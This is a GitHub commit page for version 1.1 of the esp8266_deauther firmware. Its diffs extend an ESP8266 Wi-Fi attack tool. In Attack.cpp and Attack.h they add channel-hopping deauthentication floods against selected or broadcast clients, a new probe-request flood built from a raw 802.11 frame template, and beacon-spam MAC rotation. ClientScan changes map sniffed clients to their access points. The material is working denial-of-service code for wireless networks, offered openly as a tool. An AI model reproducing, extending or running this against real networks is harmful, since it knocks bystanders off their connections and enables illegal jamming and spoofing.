Skip to content

Commit 4344ec2

Browse files
authored
Merge pull request #113 from spacehuhn/testing
v.1.1
2 parents f45abc3 + 485c1ac commit 4344ec2

File tree

17 files changed

+553
-294
lines changed

17 files changed

+553
-294
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ You have 2 choices here. Uploading the bin files is easier but not as good for d
7474

7575
**0** Download the current release from [here](https://github.com/spacehuhn/esp8266_deauther/releases)
7676

77-
**1** Upload using the ESP8266 flash tool of your choice. I recommend using the [nodemcu-flasher](https://github.com/nodemcu/nodemcu-flasher). Alternatively you can use the official [esptool](https://github.com/espressif/esptool) from espressif.
77+
**1** Upload using the ESP8266 flash tool of your choice. I recommend using the [nodemcu-flasher](https://github.com/nodemcu/nodemcu-flasher).
7878

7979
**That's all! :)**
8080

esp8266_deauther/Attack.cpp

Lines changed: 122 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ Attack::Attack(){
55
}
66

77
void Attack::generate(){
8-
if(debug) Serial.print("generating Macs...");
8+
if(debug) Serial.print("\n generating Macs...");
99

1010
Mac _randomBeaconMac;
1111
uint8_t _randomMacBuffer[6];
@@ -80,6 +80,24 @@ void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt){
8080

8181
}
8282

83+
void Attack::buildProbe(String _ssid, Mac _mac){
84+
int len = _ssid.length();
85+
if(len > 32) len = 32;
86+
packetSize = 0;
87+
88+
for(int i=0;i<sizeof(probePacket);i++) packet[packetSize+i] = probePacket[i];
89+
packetSize += sizeof(probePacket);
90+
91+
for(int i=0;i<6;i++) packet[10+i] = _mac._get(i);
92+
93+
packet[packetSize] = len;
94+
packetSize++;
95+
96+
for(int i=0;i<len;i++) packet[packetSize+i] = _ssid[i];
97+
packetSize += len;
98+
99+
}
100+
83101
bool Attack::send(){
84102
if(wifi_send_pkt_freedom(packet, packetSize, 0) == -1){
85103
/*
@@ -101,7 +119,7 @@ void Attack::run(){
101119

102120
/* =============== Deauth Attack =============== */
103121
if(isRunning[0] && currentMillis-prevTime[0] >= 1000){
104-
if(debug) Serial.print("running "+(String)attackNames[0]+" attack");
122+
if(debug) Serial.print("running "+(String)attackNames[0]+" attack...");
105123
prevTime[0] = millis();
106124

107125
for(int a=0;a<apScan.results;a++){
@@ -117,23 +135,47 @@ void Attack::run(){
117135
if(clientScan.getClientSelected(i)){
118136
_selectedClients++;
119137

120-
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
121-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
122-
123-
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
124-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
125-
138+
if(settings.channelHop){
139+
for(int j=1;j<12;j++){
140+
wifi_set_channel(j);
141+
142+
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
143+
if(send()) packetsCounter[0]++;
144+
145+
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
146+
if(send()) packetsCounter[0]++;
147+
}
148+
}else{
149+
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
150+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
151+
152+
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
153+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
154+
}
126155
}
127156
}
128157

129158
if(_selectedClients == 0){
130159
Mac _client;
131160
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
132-
buildDeauth(_ap, _client, 0xc0, 0x01 );
133-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
134-
135-
buildDeauth(_ap, _client, 0xa0, 0x01 );
136-
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
161+
162+
if(settings.channelHop){
163+
for(int j=1;j<12;j++){
164+
wifi_set_channel(j);
165+
166+
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
167+
if(send()) packetsCounter[0]++;
168+
169+
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
170+
if(send()) packetsCounter[0]++;
171+
}
172+
}else{
173+
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
174+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
175+
176+
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
177+
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
178+
}
137179
}
138180

139181
}
@@ -150,7 +192,7 @@ void Attack::run(){
150192

151193
/* =============== Beacon clone Attack =============== */
152194
if(isRunning[1] && currentMillis-prevTime[1] >= 100){
153-
if(debug) Serial.print("running "+(String)attackNames[1]+" attack");
195+
if(debug) Serial.print("running "+(String)attackNames[1]+" attack...");
154196
prevTime[1] = millis();
155197

156198
for(int a=0;a<apScan.results;a++){
@@ -193,7 +235,7 @@ void Attack::run(){
193235
generate();
194236
macListChangeCounter = 0;
195237
}
196-
if(debug) Serial.println(" done ");
238+
if(debug) Serial.println(" done");
197239
if(settings.attackTimeout > 0){
198240
attackTimeoutCounter[1]++;
199241
if(attackTimeoutCounter[1]/10 > settings.attackTimeout) stop(1);
@@ -202,7 +244,7 @@ void Attack::run(){
202244

203245
/* =============== Beacon list Attack =============== */
204246
if(isRunning[2] && currentMillis-prevTime[2] >= 100){
205-
if(debug) Serial.print("running "+(String)attackNames[2]+" attack");
247+
if(debug) Serial.print("running "+(String)attackNames[2]+" attack...");
206248
prevTime[2] = millis();
207249

208250
for(int a=0;a<ssidList.len;a++){
@@ -216,39 +258,75 @@ void Attack::run(){
216258

217259
stati[2] = (String)(packetsCounter[2]*10)+"pkts/s";
218260
packetsCounter[2] = 0;
219-
/*macListChangeCounter++;
261+
macListChangeCounter++;
220262
if(macListChangeCounter/10 >= macChangeInterval && macChangeInterval > 0){
221263
generate();
222264
macListChangeCounter = 0;
223-
}*/
224-
if(debug) Serial.println("done");
265+
}
266+
if(debug) Serial.println(" done");
225267
if(settings.attackTimeout > 0){
226268
attackTimeoutCounter[2]++;
227269
if(attackTimeoutCounter[2]/10 > settings.attackTimeout) stop(2);
228270
}
229271
}
272+
273+
/* =============== Probe Request Attack =============== */
274+
if(isRunning[3] && currentMillis-prevTime[3] >= 1000){
275+
if(debug) Serial.print("running "+(String)attackNames[3]+" attack...");
276+
prevTime[3] = millis();
277+
278+
for(int a=0;a<ssidList.len;a++){
279+
buildProbe(ssidList.get(a), beaconAdrs._get(a));
280+
if(send()) packetsCounter[3]++;
281+
}
282+
283+
stati[3] = (String)(packetsCounter[3]*10)+"pkts/s";
284+
packetsCounter[3] = 0;
285+
macListChangeCounter++;
286+
if(macListChangeCounter >= macChangeInterval && macChangeInterval > 0){
287+
generate();
288+
macListChangeCounter = 0;
289+
}
290+
if(debug) Serial.println("done");
291+
if(settings.attackTimeout > 0){
292+
attackTimeoutCounter[3]++;
293+
if(attackTimeoutCounter[3] > settings.attackTimeout) stop(3);
294+
}
295+
}
230296

231297
}
232298

233299
void Attack::start(int num){
300+
Serial.println(num);
234301
if(!isRunning[num]){
302+
Serial.println(num);
235303
isRunning[num] = true;
236304
stati[num] = "starting";
237305
prevTime[num] = millis();
238306
attackTimeoutCounter[num] = 0;
239-
if(debug) Serial.println("starting "+(String)attackNames[num]+" attack");
240-
if(num == 1 && isRunning[2]) stop(2);
241-
else if(num == 2 && isRunning[1]) stop(1);
307+
refreshLed();
308+
if(debug) Serial.println("starting "+(String)attackNames[num]+" attack...");
309+
if(num == 1){
310+
stop(2);
311+
stop(3);
312+
} else if(num == 2){
313+
stop(1);
314+
stop(3);
315+
} else if(num == 3){
316+
stop(1);
317+
stop(2);
318+
}
242319
}else stop(num);
243320
}
244321

245322
void Attack::stop(int num){
246323
if(isRunning[num]){
247-
if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack");
324+
if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack...");
248325
isRunning[num] = false;
249326
stati[num] = "ready";
250327
prevTime[num] = millis();
251-
}
328+
refreshLed();
329+
}
252330
}
253331

254332
void Attack::stopAll(){
@@ -261,7 +339,7 @@ String Attack::getResults(){
261339
for(int i=0;i<attacksNum;i++) if(!isRunning[i]) stati[i] = "ready";
262340

263341
if(apScan.getFirstTarget() < 0) stati[0] = stati[1] = "no AP";
264-
if(ssidList.len < 1) stati[2] = "no SSID";
342+
if(ssidList.len < 1) stati[2] = stati[3] = "no SSID";
265343

266344
int _selected;
267345
String json = "{ \"aps\": [";
@@ -307,7 +385,24 @@ String Attack::getResults(){
307385
json += "}";
308386
if(debug){
309387
Serial.println(json);
310-
Serial.println("done ");
388+
Serial.println("done");
311389
}
312390
return json;
313-
}
391+
}
392+
393+
void Attack::refreshLed(){
394+
int numberRunning = 0;
395+
for(int i=0; i<sizeof(isRunning); i++){
396+
if(isRunning[i]) numberRunning++;
397+
//if(debug) Serial.println(numberRunning);
398+
}
399+
if(numberRunning>=1 && settings.useLed){
400+
if(debug) Serial.println("Attack LED : ON");
401+
digitalWrite(2, LOW);
402+
}
403+
else if(numberRunning==0 || !settings.useLed){
404+
if(debug) Serial.println("Attack LED : OFF");
405+
digitalWrite(2, HIGH);
406+
}
407+
}
408+

esp8266_deauther/Attack.h

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ extern "C" {
1414
#include "Settings.h"
1515
#include "SSIDList.h"
1616

17-
#define attacksNum 3
17+
#define attacksNum 4
1818
#define macListLen 64
1919
#define macChangeInterval 4
2020

@@ -38,14 +38,16 @@ class Attack
3838
void stop(int num);
3939
void stopAll();
4040
String getResults();
41+
void refreshLed();
4142
private:
4243

4344
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
4445
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
46+
void buildProbe(String _ssid, Mac _mac);
4547
bool send();
4648

4749
//attack declarations
48-
const String attackNames[attacksNum] = {"deauth","beacon (clone)","beacon (list)"};
50+
const String attackNames[attacksNum] = {"deauth", "beacon (clone)", "beacon (list)", "probe request"};
4951

5052
//attack infos
5153
String stati[attacksNum];
@@ -106,9 +108,23 @@ class Attack
106108
0x00, 0x00 //RSN capabilities
107109
};
108110

111+
uint8_t probePacket[25] = {
112+
/* 0 - 1 */ 0x40, 0x00, //Type: Probe Request
113+
/* 2 - 3 */ 0x00, 0x00, //Duration: 0 microseconds
114+
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination: Broadcast
115+
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, //Source: random MAC
116+
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //BSS Id: Broadcast
117+
/* 22 - 23 */ 0x00, 0x00, //Sequence number (will be replaced by the SDK)
118+
/* 24 */ 0x00 //Tag Number: SSID parameter set (0)
119+
/* ,0x06, //Tag length
120+
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA //SSID
121+
*/
122+
};
123+
109124
int macListChangeCounter = 0;
110125
int attackTimeoutCounter[attacksNum];
111126
int channels[macListLen];
127+
bool buildInLedStatus = false;
112128
};
113129

114130
#endif

esp8266_deauther/ClientScan.cpp

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,7 @@ bool ClientScan::stop(){
7676
}
7777

7878
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len){
79+
int cliNbr;
7980
if(sniffing && len>27){
8081
from.set(buf[16],buf[17],buf[18],buf[19],buf[20],buf[21]);
8182
to.set(buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
@@ -87,15 +88,19 @@ void ClientScan::packetSniffer(uint8_t *buf, uint16_t len){
8788
if(clientNum == -1 && results < maxClientScanResults){
8889
data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9);
8990
results++;
90-
packets[clients.add(to)]++;
91+
cliNbr = clients.add(to);
92+
packets[cliNbr]++;
93+
connectedToAp[cliNbr] = i;
9194
}else packets[clientNum]++;
92-
/*if(debug){
95+
/*
96+
if(debug){
9397
Serial.print("found: ");
9498
from._print();
9599
Serial.print(" => ");
96100
to._print();
97101
Serial.println("");
98-
}*/
102+
}
103+
*/
99104
}
100105
}
101106
}
@@ -107,6 +112,7 @@ String ClientScan::getClientName(int num){ return nameList.get(clients._get(num)
107112
int ClientScan::getClientPackets(int num){ return packets[clients.getNum(clients._get(num))]; }
108113
String ClientScan::getClientVendor(int num){ return vendors[num]; }
109114
Mac ClientScan::getClientMac(int num){ return clients._get(num); }
115+
int ClientScan::getClientConnectedAp(int num){ return connectedToAp[num]; }
110116
bool ClientScan::getClientSelected(int num){ return selected[num]; }
111117
int ClientScan::getFirstClient(){
112118
for(int i=0;i<maxClientScanResults;i++){
@@ -124,7 +130,8 @@ String ClientScan::getResults(){
124130
json += "\"m\":\""+getClientMac(i).toString()+"\",";
125131
json += "\"n\":\""+(String)nameList.get(getClientMac(i))+"\",";
126132
json += "\"v\":\""+(String)getClientVendor(i)+"\",";
127-
json += "\"s\":"+(String)getClientSelected(i);
133+
json += "\"s\":"+(String)getClientSelected(i)+",";
134+
json += "\"a\":\""+(String)apScan.getAPName(getClientConnectedAp(i))+"\"";
128135
json += "}";
129136
if((i!=results-1) && (i!=maxClientScanResults-1)) json += ",";
130137
}

esp8266_deauther/ClientScan.h

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ class ClientScan{
3737
String getClientVendor(int num);
3838
Mac getClientMac(int num);
3939
bool getClientSelected(int num);
40+
int getClientConnectedAp(int num);
4041
int getFirstClient();
4142

4243
int results = 0;
@@ -56,6 +57,7 @@ class ClientScan{
5657
char vendors[maxClientScanResults][9];
5758
int packets[maxClientScanResults];
5859
bool selected[maxClientScanResults];
60+
int connectedToAp[maxClientScanResults];
5961

6062
int channels[13];
6163
int channelsNum = 0;

0 commit comments

Comments
 (0)